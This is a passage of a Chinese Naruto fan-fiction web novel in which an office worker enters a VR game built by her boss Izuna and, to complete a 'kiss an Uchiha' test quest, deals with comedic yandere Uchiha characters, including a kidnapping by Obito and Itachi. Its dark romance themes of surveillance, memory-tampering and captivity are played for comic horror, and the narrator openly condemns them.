我真的气死了! 不过泉奈高傲自负,我想,即使讨厌我,他也不屑于使用阴暗下作的手段。 我不相信泉奈的脑回路,但我相信他的傲骨。 同事看了眼泉奈,回过头,压低嗓音,用手遮住嘴唇,小声对我说:“其实咱们IT部门的大伙都觉得……泉奈先生对你有意思。甚至在他入职第一天就对你一见钟情了。” “……啊?” 我倒吸一口凉气,瞪大眼睛,表情就像听见恐龙大战变形金刚一样惊恐。 同事似乎也觉得有些离谱,尴尬地笑了笑:“只是私下猜测、私下猜测。你没发现吗?如果你和他出现在一个空间,他总是看着你。” 那是他想找我茬,在蛛丝马迹中对我的工作挑刺,这个毒舌混蛋! “如果你请假不在公司,泉奈先生一整天都特别烦躁不安。那些天我们都吓得大气不敢喘!” 那是因为他失去了冷嘲热讽,发泄压力的对象!这个欺软怕硬的小人! “他工作的时候会忽然喊你的名字,眼神变得很……”他找到一个词,“很痴迷。像某种成瘾患者。” 有病吧!他干嘛啊! 我有些不安,迅速以君子之心,度泉奈之腹。 难道泉奈在心里阴暗爬行对我下诅咒? 因为每次被泉奈讽刺,我就是这样:表面上窝窝囊囊唯唯诺诺,心里在骂骂咧咧扎泉奈小人。 “所以,”同事耸耸肩,“说不准他在你进入游戏之后,编译你的记忆,让你……让你爱上他?和你谈个恋爱?和他玩情侣游戏?我不确定。我是搞这块的,跟泉奈先生干过一段时间。他在这方面简直是天才,就像刚出生就学会摸键盘似的。我打包票,泉奈先生有这个能力。” 我额头上的冷汗越来越多了。 “我不认为这是正确对待爱情对象的方式!” 我的身后忽然响起一个男人的声音。 我吓了一跳。 见我看过去,男人黑发黑瞳,俊朗阳光,风度翩翩,笑起来露出两颗尖尖的虎牙,黑发打着卷儿,一只眼睛戴着眼罩,或许是有什么隐疾。 “我是宇智波止水。”他自我介绍道,“抱歉,无意间听到了你们的谈话。” 我摇了摇头,我和同事没有刻意压低音量,被听见也无伤大雅。 反正被蛐蛐的是泉奈那个混蛋,又不是我。我阴暗地想。 “止水先生的意思是……?” 他露出正义坚定的表情,不解地说:“假设这位先生所言非虚,泉奈先生真的对您抱有恋慕之心。我也并不能赞同这样的行为。若是遇到心爱之人,怎么能使用科技手段篡改记忆,令其与自己相恋?” 正常人啊!! 我大为感动。 终于来了个正常人啊! “我也有一位挚爱的恋人,”止水说,露出温柔的笑容,“她有些迷糊,容易害羞,如同我心目中的女神一般完美可爱。只是她或许将神的恩泽太过挥洒向世人,而忘记了自己的安危,时常将自己陷入危险的境况中,总是受伤。 “面对这样可怜可爱的恋人,怎么能擅自篡改她的记忆,改变她的想法?” “噢?”旁边传来冷笑声。 泉奈不知什么时候站在旁边,他冷冰冰地瞪了我一眼,脸色发青:“一会儿工夫不见,你就又为自己找到了一位愚蠢的裙下之臣?” 他说什么呢?我皱着眉:“止水先生有女朋友的!” 止水看着我,微笑着颔首:“是的,你想起来了。我们在一款名为《一起来建设忍者村吧!》的游戏中相恋,携手相伴,感情甚笃。春天,我们坐在甘栗甘外面的椅子上分享点心;夏天,我们在火影岩前看烟火大会;秋天,我们一起去南贺川边烤鱼;冬天,我们在火影楼里签下相恋的契约。此后,每一个夜晚,无眠的梦境中,我都会想象你穿着美丽的白无垢,成为我的新娘……呵呵呵,我们第三个孩子的名字,要取什么好呢?” 他握住我的手,紧紧地盯着我。 我一脸莫名其妙。 泉奈把止水的手拍开了,语气不善:“说话就说话,少动手动脚!” “我也有玩忍村游戏,”我说,难得在现实生活中遇到游戏玩家,“止水先生在哪个村,我们加个好友?” “叫我止水就好。” 他的嗓音温和而亲切,眼神缱绻,脸颊染上些许薄红:“偶尔的敬语固然会让我们之间浓厚的感情增添一丝别样的波澜,带来秘密的刺激……”他吞咽了一下,眼神幽深,“但我更希望这样特别的惊喜Play,在我们私下独处时——” 我:“……” 这家伙好像也不太正常啊!!! “好了!这里不是给你们聊天的地方!”泉奈不耐烦地打断我和止水的交谈,“止水先生有什么高见?” 只许泉奈放火,不许牛马点灯! 我鼓着脸,不情不愿地闭上嘴。熟练地在心里阴暗地蛐蛐泉奈。 止水看向泉奈:“您是指?” “你说我对待爱情的方式错误,但我认为,使用自己的能力追求幸福并没有错。”泉奈不悦道,“我想听听你的做法。” 宇智波泉奈你倒是否认你会给暗恋对象篡改记忆啊!!黑客技术是用在这上面的吗我要报警了!! 泉奈阴沉着脸:“我必须纠正你们之前的猜测,那是错误的。” 太好了! 快说你是会正常追求女孩子的啊宇智波泉奈快说啊!快说你才不会监控视奸洗脑迷■强制暗恋对象啊!! “对方对我抱有浓烈的爱情,这种感情就像火山下的岩浆,滚烫、炙热、无法忽视。她注视我时,强烈的爱慕迷恋的眼神骗不了人。她只是未能发觉自己心中隐藏的这份浓烈的情感。”泉奈泰然自若道,“我所做的,不过是将这种恋爱感觉从她羞怯的心灵深处挖掘出来。” 你到底在说什么啊宇智波泉奈?! 有哪里不对劲吧?! 没想到,方才还剑拔弩张、气氛僵硬的止水却欣然颔首:“是的,对待太过害羞,不愿意面对自己内心浓烈情感的孩子。有时候需要使用幻术,让这孩子意识到她对我的爱意,她内心深处的**纵欲望。让她亲口告诉我,想被我照顾、呵护,不想再受伤……” 泉奈:“想生活在只有‘宇智波泉奈’存在的、完美世界里,再也没有其他碍眼的人……” “发掘出她隐藏在内心深处的想法,引导她提出要求,接着帮她实现梦想。” 这两个人一唱一和的。 “一生都逃不开我的身边。” “永生永世纠缠在一起的命运。” 我的表情越来越惊恐。 “注视她的一举一动,检测她呼吸心跳的频率。监控网络上留下的任何痕迹,不留任何死角,了解她的一切,就连思想与记忆都要对我打开。” “为了让她明白她有多么需要我,即使斩断这孩子的四肢,让其在社会中消声灭迹,永远被我拥抱在怀中,连移动都要惹人怜爱地祈求我,也是幸福的人生。” “删去那些让她产生抗拒、逃离的想法的记忆,留下那些与我有关的甜蜜回忆,不……只留下和我相处的记忆就好,其他的都毫无用处。” “只要让她注视我的眼睛,温柔地、不停地诉说她有多么爱我。那孩子就会潜移默化地相信。” “幸福的未来。” “美好的人生。” 泉奈伸出手:“宇智波泉奈。” “宇智波止水。”止水回握住。 二人交换了一个志同道合的眼神,微笑颔首,前嫌尽释。 你们姓宇智波的爱情观是不是些许有些违法乱纪。 聊得很好,下次别聊了。 不知道这两个家伙的暗恋对象/女朋友是哪个倒霉蛋。对方还活着吗,真可怜。 找点法律援助吧。 “我就在警视厅工作,”止水说,二人交换名片,“泉奈先生在公务上有需要用到我的地方,可以打电话给我。” 你就是警察啊!! 知法犯法啊!!有没有人管管啊!! 止水警官快说你才不会砍断女朋友双腿把她监禁饲养起来还利用职务之便伪造死亡证明啊快说啊止水警官!! 而且那个真的是“女朋友”吗?!女方对这段恋情知情吗?!好恐怖啊是不是有什么重要的事情被你丝滑地遗忘了!你不是阳光开朗好警官吗是哪里出错了是姓氏吗都是宇智波血统的错对吗?! 快说你是正常好男人啊宇智波止水!我要吓尿了哦真的我快吓尿了!! 止水顺便也给了我一张名片。 在我惊慌失措地接过去的时候,止水抓住我颤抖的手,对脸色大变、冒着冷汗的我露出热情又亲切,阳光般灿烂迷人的笑容:“对于这样甜蜜温馨的爱情,你是怎么看的?” 我觉得很恐怖啊! 虽然我有看类似的电视剧,但那只是电视剧,是假的,不存在的。 和朋友们聊天时也不会当真,只是当做故事去欣赏。 而止水和泉奈所说的那种“爱情”,不知怎么,给我强烈的真实感,仿佛切实发生过。令我如芒在背。 甚至产生了一些,遭遇过类似事情的黑暗幻觉。 我搓了搓胳膊,打了个寒颤。 我委婉地说:“是不是有点……稍微过激了呢?” 以这两位的硬件建模来说,但凡愿意花点心思,用一些浪漫的手段追求,很少有女孩子能坚定拒绝吧! 不说第一印象就让人感觉十分亲近,像大哥哥一样开朗友善,让人很想和他做好朋友的止水。 哪怕是和我超不对付的泉奈,也得承认他的硬实力。他顶着那张精致漂亮的脸告白,我色令智昏答应的概率超过九成。更别说他还是个超有钱的天龙人! 一定要谈不健康的恋爱吗?! 是性癖比较扭曲还是精神状态不太对劲呢?! 止水抬头,和泉奈碰撞了一个意味不明的晦暗眼神。 我闻到了硝烟味。 “啊……”我听见止水轻声说,“是吗?” 他太过靠近了,出于体型差,看起来就像把我圈在了怀里。 “但你不是很幸福地,对我微笑着,那样可怜可爱地哭着说爱我……祈求我照顾你的生活,侵入控制你的人生……” 我有些毛毛的。 他的眼睛是不是有点变红了? 泉奈猛地抓住我的肩膀,将我用力拽到他身后。 “在我面前诱捕这个笨蛋,当我死了吗。”泉奈冷冷道。 止水直起身,对泉奈笑了下,眼睛里没有笑意。 “*Izuna*先生就有耐心到哪里去吗?”止水扫视遍地的游戏舱,“早就准备妥当,只等下手了吧?月之眼内部测试?不错的借口。” “不愧是止水警视长,追查蛛丝马迹的能力不容小觑。” “过奖。”止水说,“你的兄长对此事知情吗?” 泉奈的脸色猛地阴沉下来:“我倒不知道,警视厅的狗鼻子还挺灵。狗爪子伸到别人家里,是会被剁掉的。” “奉公执法而已。”止水盯着他。 两个人皮笑肉不笑的,阴阳怪气。 怎么他们俩的关系又忽然变差了! 方才不还相谈甚欢吗?! “我们三个人的家事不劳外人操心……请放心,止水警视长,我不会做的。”泉奈顿了顿,盯着止水,抓着我肩膀的手收紧,“至少这次还不会。等排除了碍眼的东西以后……” 我一点也没放下心,反而更惊恐了。 泉奈他要干嘛? 给我穿小鞋?? 顶头上司给底层牛马穿小鞋,那当然是轻而易举,小菜一碟。 更别说月之眼游戏本体就是泉奈敲出来的,是他的玩具。 这次的内测自然不是奔着让玩家玩游戏去的。每个测试者都有任务要完成,需要记录数据,以备后续游戏的微调迭代。 我刚进入游戏,就拿到了我的任务。 【内测任务:强吻宇智波0/1】 我:? 第49章 全家桶番外② 我的百分百被一见钟情Buff原来是对宇智波特攻吗?! 02、佐助 宇智波泉奈这个小肚鸡肠的混蛋! 我蹲在地上阴暗地蛐蛐了五分钟泉奈,站起身,打量周围的环境。 月之眼企划最跨时代的创新,便是能根据玩家的需求,实时生成一个完美的、理想中的世界。 它可以实现每个人的梦想。 并且给予你第二种人生。 要说我的梦想,那当然是赚很多钱,升职加薪,把爸爸妈妈接到东京一起生活! 据说正式版的月之眼能够直接读取意识数据,实时为每一个玩家生成独特的、专属玩家一人的虚拟游戏世界。研发部门光是专利就申请了数百项。 因为这次是内测,按照测试要求,我提前上传了自己期望的第二种人生数据。 泉奈在当天下午找到我。 他对我的提交的梦想世界阴阳怪气,我气得直掉眼泪。 “你是会在作文里写‘我希望未来成为对社会有用的人’的小学生吗?”泉奈讽刺道,“很遗憾,你不再是小孩子,也没能成为自己期望的那种社会栋梁。尽管痛哭流涕吧,为自己失败的人生。” “因为泉奈先生是天才!”我抽抽搭搭地说,脸气得通红,“当然不明白,你轻而易举能实现的事,对我来说就是梦想了!” “……” 泉奈没有说话。 难道他终于醒悟了? 我期待地抬起头,看见泉奈用手背挡住口鼻,目光飘忽,红着耳垂喃喃:“说我是天才……可恶……狡猾的家伙……” 见到我诧异的目光,他恼羞成怒道:“别以为说两句好听话我就会对你改观。哼!你也是这样引诱斑哥的吧,你这个邪恶的女人!” 有病吧!他干嘛啊!! 怎么只听自己想听的话啊!! “这样的梦想难道不行吗?”我勇敢地说,“我希望自己能脚踏实地!” 我知道有不少人提交的都是一些勇者斗恶龙、星际大战、穿越恶役千金之类的构想。 相较起来,我的就太普通了。 泉奈皱眉道:“和现实世界太相似了,有较大隐患。” 这才是他来找我面谈的原因。 修正指令。 “什么隐患?” “脱离反应,”泉奈说,“与现实世界越相像,脱离游戏舱后,就越分不清虚拟与现实。长此以往,会对虚拟世界成瘾,产生依赖。我的建议是,最好给自己加上一个锚点。” 他这副专业冷静、智珠在握的理智样子看得我一愣一愣的。 我虚心求教:“比如说?” “最普遍的选择是,一个现实世界里绝不会出现的东西。” “登陆日本半岛的超大号冰激凌飓风?” 泉奈:“……” 泉奈撑住额头:“对你的大脑抱有希望是我的错。” 我苦思冥想:“对我又有耐心又温柔的泉奈先生?” 绝对不会出现在现实世界的生物之一! “很抱歉,”泉奈扯了扯嘴角,“能允许你站在这里就已经代表我是全公司最有耐心的温柔男人。” 好不要脸啊! 不过我也不想在游戏里遇见泉奈,哪怕只是NPC。 “要不就这个吧……”我忽然想到什么。 我想和我的朋友们,一起生活在忍村游戏里的木叶!! 我要做战国时代的忍者! 这就是我的第二种人生! 我在忍村游戏遇到的好朋友止水,之前就和我抱怨过,忍村游戏的拟真程度还不够。 而且平时还有游戏任务要做,资源要收集,还要打本。 如果是月之眼这样厉害的全息游戏,又加上我的朋友们,一定会超级好玩的! 我的降落点是一片茂密旺盛的草地。 我好奇地打量四周的环境。 内测任务是“强吻宇智波”的话,得先找到一位“宇智波”才行。 如果是好朋友,亲亲也没关系的!我和小樱就经常相互亲亲脸! 我掰着手指数自己的几个宇智波好朋友:斑看起来凶巴巴的,但我莫名其妙有种直觉,如果真的忽然去亲,他应该不会对我太生气;带土最友好了,一定会欣然答应,但不知道为什么,总感觉有些不安…… 鼬的话,亲吻他有种亵渎高岭之花的罪恶感,但他本人脾气很好,大约不会太反对。 佐助……虽然已经成为好朋友了,但是他冷冰冰的。有点害怕。 泉奈,当然第一个出局! 我们根本不是挚友!他是大混蛋! 止水,我还没有和他线下见过。说起来,刚刚那位警视长,长得和我的网友很像,还是同名。不会这么巧吧…… 这么一看,我身边不知不觉聚集了好多宇智波啊! 数来数去,任务最大的难点就是找到一位“宇智波”吧!明明现实世界身边有那么多宇智波,在游戏里却一个也没看见呢! 我正苦思冥想着,忽然听见不远处有声响。 有樱花般柔软甜美的香气靠近,一位美丽的粉发少女拨开草丛,露出惊喜的表情:“公主殿下,你在这里呀!” 我看着她:“小樱?” 她粉发绿瞳,但是穿着忍者服饰。脑袋上戴着木叶标志的护额。 “你认识我?”她有些疑惑,不过很快发射了信号,她的同伴没过多久就找了过来。 他们看起来年纪都不大,我也是——我好奇地打量自己变得年幼的四肢。 这次我们可以从更早的时间做好朋友了,我高兴地想。 “这次任务的目标找到了,”一旁,小樱对鸣人说,“初步检查过了,没有受伤。” 鸣人松了口气:“大名家的公主如果在木叶村失踪,火影大人绝对会大伤脑筋的说。” 金发的狐狸脸少年对我伸出手,关心道:“还好吗?还能走吗?” 我点了点头,站起来,刚想说自己能走,脚踝就传出一阵刺痛。 扭伤了? 鸣人将我背在背上,我们和小樱一起回到木叶村。 在途中,我旁敲侧击了解到,自己身份是战国时代一位割据一方的大名的公主,因为好奇忍术,央求家中把自己送到木叶学习。 这件事不知怎么被晓组织知道,半路派人伏击了队伍。 我和护送的队伍失散,小樱鸣人他们接到寻找我的任务,不眠不休找了两天两夜,总算在草丛里找到了饥寒交迫的我。 听到这里,我的脸有点红。 虽然我希望自己的第二人生中,能有个好的出身。 但直接一上来就是公主殿下什么的,还是让我情不自禁有些脸颊发烫,眼神飘忽。 “不知道为什么……”鸣人抓了抓头发,眯起眼睛说,“一看见你,就很想和你做好朋友啊!” “你这家伙根本和谁都想做好朋友吧!!”小樱吐槽他。 大概是志趣相投的缘故,我和小樱、鸣人很快就成了好朋友。 我在村子里住了几天,打听宇智波族地的事。 听鸣人他们说,佐助一个人住在族地旁边的宅子里。 我在这天提着从甘栗甘买的点心去找佐助,却没有碰见他。 为了护卫我的安全,不再让晓组织绑走我。木叶村的三代目火影,将村子里的下忍鸣人指派给了我做护身忍者。 “你知道佐助去哪里了吗?” “不知道,”鸣人很干脆,双手环在脑后,“他经常一个人跑去练习忍术。” 就在这时,我在前面的树下发现正抱着手臂,一脸不耐烦被女生告白的佐助。 “我喜欢你,请和我交往!” “不要。” “为什么?” “……”佐助冷淡地把脸别到一边,“烦人。” “呜呜呜……” 女生沮丧地带着礼物走掉了。 我和鸣人扒着墙角吃瓜。 鸣人看了看我的表情,有些紧张地劝阻我:“佐助那家伙很受女孩子欢迎。哼哼,不过就是成绩比我好了那么一点点而已!木叶的不少女生都喜欢他,小樱啊井野啊香燐啊,”他掰着手指数,“你也喜欢佐助吗?” “嗯!”我用力点头,“我也喜欢佐助君!” 鸣人脸上的笑容有些僵硬,他生硬地搓了搓手指,垂下脑袋,低声说:“噢,这样啊……” “佐助!” 鸣人说:“等等,喂——!” 我一瘸一拐跑到佐助面前。 鸣人气喘吁吁追上来,语气有点微妙:“公主殿下也要告白?我劝你不要,这家伙只有脸能看,性格烂透了。” 我知道啊!! 佐助本人就是这个样子的!这个游戏拟真度也太高了! 我相信他……我相信他内心深处有柔软的地方啦! “佐助,”我说,“我们做好朋友!和我亲亲吧!” 鸣人松了口气:“原来只是做朋友的那种喜欢啊……” 与此同时,佐助冷冷地看着我:“不要。” “为什么?” “烦人。” 刚刚的那一幕重演了!! 我不屈不挠,把甘栗甘的盒子递过去:“佐助,请你吃点心,给我亲亲吧!” 佐助:“……” 我对鸣人小声嘀咕:“他是不是同意了?” 鸣人陷入思索:“不说话就是默认吧?” 好! 我勇敢地冲了上去。 又被用写轮眼瞪了回来。 佐助厌烦地松开手臂,直接往前走,准备离开了。 我失落地看着他的背影。 鸣人安慰我说:“没事的。做朋友需要时间。不过我们已经是好朋友了,你可以和我亲亲。” 好耶! 我踮起脚尖,在鸣人脸上的猫胡子吧唧了一口——没亲到。 我抬起头。 发现佐助不知何时去而复返,用手掌挡在我和鸣人的脸颊之间。 我亲在了他的掌心。 “刚刚还说喜欢我,”佐助瞪着我,脸色阴晴不定,咬着牙,“转身就……轻浮的女人。” 我说:“佐助,你生气了吗?我也可以亲你的。” “……” 佐助更生气了。 他掉头就走。 为什么啊!! 我问鸣人。 鸣人也很茫然,对我说他也不知道。 我们俩去问小樱,小樱公平地给我和鸣人一人一个弹脑门。 “你们两个都是笨蛋!!” 我和鸣人整齐划一,双双蹲下捂着脑门,熟练地露出装可怜的表情。 小樱很快消气了,我们三个人买了冰棒吃。 “我们可以智取。”鸣人咬着冰棒,给我出谋划策。 难以置信,从鸣人嘴里听到了“智取”两个字! 我说:“具体怎么做?” “只要打赢他,然后就可以强行亲他了!”鸣人坚毅地说,举起拳头,“打赢就能做挚友了!” 到底是有哪点算“智取”啊! 小樱就比较靠谱:“我认为做朋友,还是要先相处。不如和佐助先熟悉一段时间?” 我觉得小樱和鸣人说得都对,于是我决定双管齐下。 我抱着一盒手里剑和苦无找到佐助:“佐助,请教我忍术!” “不要。” 我去火影楼找三代目:“火影大人,我想让佐助教我忍术。” 老人从纸堆中抬起脑袋,对我露出恭敬尊重的沉思表情:“既然是公主殿下的命令……” 第二天,佐助带着一盒手里剑和苦无找上我,阴沉着脸说:“不要后悔你的决定。” “不会的!”我笑着说,“我一定要和佐助成为好朋友!” 我在半个小时后就后悔了。 做忍者好辛苦啊!忍术好难学啊! 手掌上全是磨的水泡。 我很想偷懒,但才说过大话,又不好明目张胆摆烂。三心二意的后果就是不小心被手里剑割伤了掌心。 忍具锋利得不可思议,几乎是瞬间就涌出了大量的血。 手掌立刻就被夺了过去。 佐助按住我的手腕某处止血,迅速又专业地拿出药粉绷带紧急处理。 他紧紧抿着唇,脸色阴郁,鼻尖渗出冷汗,手上快速缠绕绷带。 我盯着他这副模样,忽然凑过去,在他浅色的嘴唇上碰了一下。 那双黑瞳几乎在瞬间收缩成针。 佐助加快动作,我趁机又碰了几下。 软软的,有点凉。 再冷漠的酷哥嘴唇也是软的。 佐助几乎在扯断绷带的瞬间,用手背挡着嘴退开数米远,神色不明地盯着我。 我:“……” 有必要这么排斥吗! 我迈开脚步,刚靠近他一步,他就像受了刺激似的,猛地往后退。 “佐助?” 我还要往前。 “别过来!!”他吼道。 甚至拿着苦无,伏低身子,摆出了迎战的姿态。 干嘛呀!就像我是欺负宇智波佐助的恶霸一样! 不对。 我现在是大名的女儿,好像真的可以强抢宇智波……等等,不能再想下去了!即使在游戏里也要做个好人! 我答应过爸爸妈妈的! 于是我很快道歉道:“对不起,我不应该在你不同意的时候就强行和你做好朋友。下次不会了。” 我拿出平时面对怕生野猫的套路,举着双手,缓慢地、一步一步地,看着佐助的眼睛,委屈巴巴地离开了。 委屈巴巴当然是装的。 我回家以后就后悔了。 因为当我想登出游戏,却被告知内测任务还未完成。 【内测任务:强吻宇智波0/1】 不应该啊。 我咬着手指思索。 佐助是宇智波,我也的确亲了他。为什么没完成呢? 我想不明白,于是决定用上今天刚从佐助那里学来的潜伏技巧,潜入到佐助家中再亲一次。 夜已经很深了,明月皎洁,佐助却还未休息。一个人在空旷的屋子里,坐在窗沿,摸着自己的嘴唇出神。 他垂下眼睫,细密纤长的睫毛在黑瞳中落下浓雾般的阴影。咬着嘴唇,松开时,唇瓣上有湿润的光泽。 我再一次思考大名公主强抢漂亮宇智波的可能性……等等,不可以再想了!! 不能因为是游戏就做卑鄙的事! 我发过誓,要做好人的! 我本想等佐助睡着以后偷袭,但不知道怎么回事,佐助今天似乎被某件特别的事困扰,一直没有睡意。坐在窗沿,宛如春心萌动的少年一般,指腹摩擦着嘴唇,一会儿恨得咬牙切齿,一会儿又略带欣悦,放松而自满。 我等得困了,忍不住打了个哈欠。 下一秒眼前就一闪,整个人腾空而起。 “什么……是你?!” 佐助拎着我的衣领,表情古怪。 “嗨,晚、晚上好呀,佐助。”我对他假笑。 “你来做什么?”他皱起眉,往我身后看了眼,“鸣人呢?” 来偷袭怎么能喊上护卫! 我支支吾吾的,佐助声音更冷了:“毫无警惕之心!!你是真的想被晓抓去杀死吗?!” 呜呜呜,我可怜兮兮地垂着脑袋,任佐助教育。 佐助说了一通之后终于消了气,我这才举着缠满绷带的手,拿出我在辉夜那里学到的装可怜技巧,看着佐助,颤巍巍地开口:“手疼……” 他抿紧唇,狠狠瞪了我一眼,打开门走进去。 我站在原地看着他的背影。 过了几秒钟,他冷冷的声音从屋内传出:“进来!需要我请您吗,公主殿下?” 我眼睛一亮,啪嗒啪嗒跑进去,桌子上已经摆好了药粉和新的绷带。 我把受伤的手掌交给佐助,他拆开旧绷带,重新消毒和包扎。 “换了新的药粉。”他说,顿了顿,有些别扭,“应该不会那么疼。” 我感受了一下:“真的耶,谢谢你佐助!” 佐助站起身:“之后每隔三天到我这里换一次药,等到愈合结疤就不用来了。我送你回去。” 我回去了还怎么偷袭佐助。 我赖在椅子上不肯走,说:“我想和佐助一起睡。” 佐助看着我:“……” 我重复了一遍。 他张了张嘴:“你疯了吗?” “在木叶,好朋友一起睡觉很正常呀。”我说。我和小樱他们玩完枕头大战,经常累得直接睡在一起了。 佐助原本还有些薄红的脸立刻变得铁青,磨着牙,一字一句问:“你还和谁一起睡过?” “我想想……”我掰着手指开始数,数到十来个的时候佐助忽然让我闭嘴。 我乖乖地闭上嘴。 佐助看起来心情糟糕透了。 制冷空调的温度降到零度以下。 我大气都不敢喘。 他把我抓起来,往床上一丢,然后自己僵硬地躺在我旁边,冷冷地道:“睡。” 好噢! 我闭上眼睛,对抗着困意,想等佐助睡着以后偷亲他,谁知道没过一会儿我就睡了过去。 等我醒过来,看到的却是一张戴着橙色漩涡面具的脸。 见到我醒了,面具眼洞里那只黑瞳愉快地弯起来,矫揉造作地掐着嗓子,发出如同女子高中生一般俏丽的声音:“呀,小公主,你醒了。” 尾音甜蜜,又令人毛骨悚然。 他的手掌看似随意地搭在我的肩头,不知道按着脖颈哪个地方,导致我的舌头又麻又痒,说不了一个字,身体也完全动不了。 我渐渐冒出冷汗。 面具男回过头,轻飘飘又戏谑:“鼬,来看看你弟弟新交的小女朋友。” 第50章 全家桶番外③ 我的百分百被一见钟情Buff原来是对宇智波特攻吗?! 03、鼬+带土 宇智波鼬没理他。 带土也不气馁,笑眯眯地对我说:“人家看到你和佐助睡在一起了喔。呀,宇智波一族要有新的孩子诞生了,可喜可贺可喜可贺。” 他嬉笑着说着恭喜的话,眼睛却没有高光,对外界漠不关心。 在面具之下,仍然是一张面具。 我有些迟疑。 ……这和我认识的那个带土,不太一样? 他的另一只手按在我的小腹上,将我打横抱起。 我趁机看了眼周围的环境,我们正在野外,带土抱着我矫健地在树枝与树枝之间跳跃,兔起鹘落,瞬息间就离开了原地。 远处,深夜的木叶渐次亮起点点火光。 完蛋了,我想,呼呼大睡的鸣人即将要被卡卡西老师揍了。 晓组织暂时还不会杀死我,他们绑架我是为了对大名勒索高额赎金。 这个世界的爸爸妈妈也很宠爱我。 即使要去学忍术这样任性的要求,也溺爱地答应了。 因此,会被敲一大笔竹杠吧。 带土拿着一把苦无在我的身上比划:“手指还是眼睛好呢……真苦恼啊,人家还是第一次被要求只能伤害不准杀人呢。” 他们要切下我身体的一部分送去给我的家人,威吓他们缴纳赎金。 事已至此—— 我吞咽唾液,紧张地看着他。 “我……” 带土说:“嗯?” “我要亲亲你!”我鼓起勇气说。 ——只能尽快完成任务了! 带土:“?” 他接纳得很快,娇俏地笑起来,手指按在面具上嘴唇的部分:“哎呀,真是害羞。喜欢人家?一见钟情?” “嗯!”我说,“鸢,你亲切温柔又乐于助人,我想和你做好朋友!” 虽然不知道为什么这两天鼬对带土的称呼是“鸢”。但我认识你啊带土!戴着面具说话很亲切的男人,你是我的好朋友带土啊! 你怎么用别的男人的名字! “哎呀,真开心。你真是个有眼光的好女人。但是不行哦,”带土捧着脸说,“我戴着无法取下的面具。被看到了就要嫁给那个人呢。” 哪来的深闺宇智波设定啊! “鼬也可以!”为了我的手指和眼睛的安危,我立刻选择了下一个目标,说,“我也想和他交朋友!” 反正只要是宇智波都能完成任务! 带土无所谓的样子,松开手,五花大绑的我重重砸在地上,噗噗噗直吐泥巴:“嗯?转变态度真快。不过我也很想看那高傲的家伙困扰的表情,呵呵呵。如果你做到了,我动手的时候就温柔一点。” 好像有戏! 于是我像毛毛虫一样艰难地蠕动到鼬的脚下,努力抬起头对他说:“和我做好朋友吧,鼬!” 我们游戏玩家为了完成任务,不择手段,脸面这种东西说丢就丢! 鼬支着脸,冷淡地垂下眼睫瞥了我一眼:“……” 超会交挚友的鸣人和我说过,佐助沉默就是代表默认的意思。 鼬和佐助是兄弟,鼬不说话一定也代表默许了,他也想和我做好朋友! 而且我记得鼬虽然看起来冷冰冰的,但是礼貌又温和,对我很好。 于是我再接再厉,爬到鼬身上,灰头土脸地就要亲他。 等等。 不对劲。 我好像中了幻术。 什么时候的事? 我回过神,发现自己还在原地。 我再接再厉试了几次,每次都发现是幻术,累得气喘吁吁。 我有些发愣地看着鼬。 “……你不希望我靠近你吗?” 他平静地抬手接住飞来的乌鸦,看都没有看我一眼,仿佛我是一粒随处可见的灰尘。 这个鼬好像也和我记忆中不太一样,一点也不友好了。 带土笑眯眯地坐在树枝上看我出的洋相,乐不可支地鼓掌:“加油加油,兄弟盖饭。” 宇智波鼬手臂上停着乌鸦,朝我走过来。 我情不自禁后退了一步。 “你不动手,那就我来。”鼬淡淡地对带土说,掌中翻出一只苦无。 目光定在我的四肢。 冰冷而锐利的杀意令我浑身的血液都冻结了。 “诶诶诶。”带土笑着妥协,从树上跳下来,“这么快就生气了?真扫兴啊……” 最终带土决定割下我的一缕头发送过去。 鼬:“……” 他将发丝装在乌鸦爪足的小筒里,以蜡封住,瞥了带土一眼。 乌鸦的爪子上绑着勒索信。 “我也是看着鼬的面子上,才手下留情的喔,”带土笑嘻嘻地搂着我,将健硕的双臂环在我的脖颈上,他的体重几乎将我压扁了,“这孩子是鼬大人心爱的弟弟的恋人呀,为了一点点赎金大动干戈,实在没有必要。” 带土轻飘飘地笑着,暗示尖锐锋利:“毕竟,鼬很在意那个佐助小鬼头嘛。” 鼬的眼神很冷:“少多管闲事。” 乌鸦扇着翅膀飞远了。 这两个人关系似乎不太好,我小心地拨弄着被剪掉的发茬想。 战国时代传递消息的速度比现代慢很多,回信还要一段时间。 这两天我老老实实地在鼬和带土身边做人质,等待被赎回。 带土蹲在我旁边:“欸?在这里做什么?” “把贝壳磨圆。”我认真地回答,仔细地将贝壳的边缘在粗糙的石头上打磨。 即使在第二种人生里,和大家不是朋友也没有关系,人诞生在世界上,是为了与他人建立宝贵的羁绊而存在的。 根据我玩游戏的经验,只要拼命送礼物,经常夸奖对方,时常凑过去贴贴。总有一天能和对方成为好朋友。 可是我现在一文不名,只能就地取材。每天摘野外的花朵,将一些又圆又亮的小石头洗干净当作礼物送给鼬。 我相信这招是有用的。因为当初在《一起来建设忍者村吧!》,我就经常送这些礼物给木叶村的同伴。虽然大部分人都表面上收下来,背地里把它们当成垃圾丢掉。但也有珍惜地保存我礼物的朋友,比如说止水哥。 止水每次收到我的礼物都特别开心。会露出阳光般灿烂开朗的笑容对我道谢,请我吃好吃的点心,还说要一生都珍藏下去,即使死掉了,也要和自己的骨灰葬在一起。 有一次我去止水游戏里的家做客(茶水和点心都很好吃,但还没有聊几句,我就莫名其妙在止水家失去意识了三天,非常失礼。可止水不仅没有责怪我,还在我昏迷期间温柔贴心地照顾我),发现他把我送的这些礼物全部小心地保存在名为“心爱的妻子”的盒子里。 当然,也有一部分我遗失很久的物品,我不记得自己有送给止水。 我想,我也可以这样和鼬成为好朋友。 即使是路边摘的野花,也是精心挑选的最美丽的那朵,将灰尘仔细地、小心地擦干净。小溪里捡到的,亮晶晶的小石头,锋利的边缘要打磨光滑才不会弄伤手。 礼物中最宝贵的,是我对朋友的心意。 “所以,我在把这片贝壳打磨光滑,”我对带土解释,“鸢,你看这里,对着阳光看有靛青色的珠光,是不是很好看?” 我在面前这片小溪的,所有的贝壳里,挑出来的最漂亮的那个。 带土盯着我脸上的表情看了一会儿,他笑了笑,声音很轻,有些微妙的情绪:“鼬可一次也没收下你的礼物。” 我摇了摇头:“才不是呢。鸣、我的朋友教过我:没有拒绝就是默认!” 这个世界里的鼬好像不希望我靠近他,没办法走到身边把礼物面对面送给鼬。于是在无数次中了幻术以后,我找到了离鼬最近的安全距离。每次要送礼物,我就走到那个安全距离附近,小心地把野花和石头放下。 